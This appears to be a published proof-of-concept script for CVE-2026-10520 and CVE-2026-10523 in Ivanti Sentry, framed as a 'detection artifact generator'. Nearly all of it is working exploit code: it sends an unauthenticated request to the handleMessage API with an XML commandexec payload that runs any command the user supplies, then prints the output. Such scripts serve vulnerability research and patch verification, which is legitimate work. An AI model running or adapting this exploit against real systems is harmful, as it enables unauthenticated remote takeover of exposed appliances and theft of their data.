Ivanti Sentry Pre-Auth RCE + Auth Bypass (CVE-2026-10520 / CVE-2026-10523)

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#!/usr/bin/env python3


import sys
import requests
import re
import argparse
import urllib3
from urllib.parse import urljoin

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py

        (*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
        
          - Sonny , watchTowr (sonny@watchTowr.com)

        CVEs: [CVE-2026-10520, CVE-2026-10523]
        """

def make_command_request(base_url, command, proxies=None):
    """Send the command execution detection request and return the HTTP response."""
    url = urljoin(base_url.rstrip("/") + "/", "mics/api/v2/sentry/mics-config/handleMessage")
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = {
        "message": (
            "execute system /configuration/system/commandexec "
            f"<commandexec><index>1</index><reqandres>{command}</reqandres></commandexec>"
        )
    }

    print(f"[+] Sending command execution check to: {url}")

    return requests.post(
        url,
        headers=headers,
        data=data,
        timeout=10,
        proxies=proxies,
        verify=False,
        allow_redirects=False,
    )

def extract_command_output(response):
    """Extract command output from the successful JSON/XML response body."""
    body = response.text
    data = body

    try:
        parsed = response.json()
        data = parsed.get("data", "")
    except ValueError:
        pass

    if "Message handled successfully" not in body or "<result><success>" not in data:
        return None

    match = re.search(r"<result><success>(.*?)</success></result>", data, re.DOTALL)
    if not match:
        return None

    return match.group(1)

def main():
    # Print the banner first
    print(banner)
    
    parser = argparse.ArgumentParser(description='watchTowr Ivanti Sentry Detection Artifact Generator Tool [CVE-2026-10520, CVE-2026-10523]')
    parser.add_argument('--url', required=True, help='Target base URL (e.g., https://127.0.0.1:8443)')
    parser.add_argument('--cmd', required=True, help='Command to run for detection (e.g., "uname -a")')
    parser.add_argument('-p', '--proxy', help='Proxy address:port (e.g., 127.0.0.1:8080)')
    
    args = parser.parse_args()
    
    base_url = args.url.rstrip('/')  # Remove trailing slash if present
    proxies = None
    
    if args.proxy:
        proxies = {
            'http': f'http://{args.proxy}',
            'https': f'http://{args.proxy}'
        }
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    print("="*60)
    print(f"Target: {base_url}")
    print(f"Command: {args.cmd}")
    if proxies:
        print(f"Proxy: {args.proxy}")
    print()
    
    try:
        response = make_command_request(base_url, args.cmd, proxies)
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        sys.exit(1)

    command_output = extract_command_output(response)
    if command_output is None:
        print("[-] Target does not appear to be vulnerable.")
        sys.exit(1)

    print("[+] Target appears to be vulnerable.")
    print("\nCommand output:")
    print(command_output.rstrip())

if __name__ == "__main__":
    main()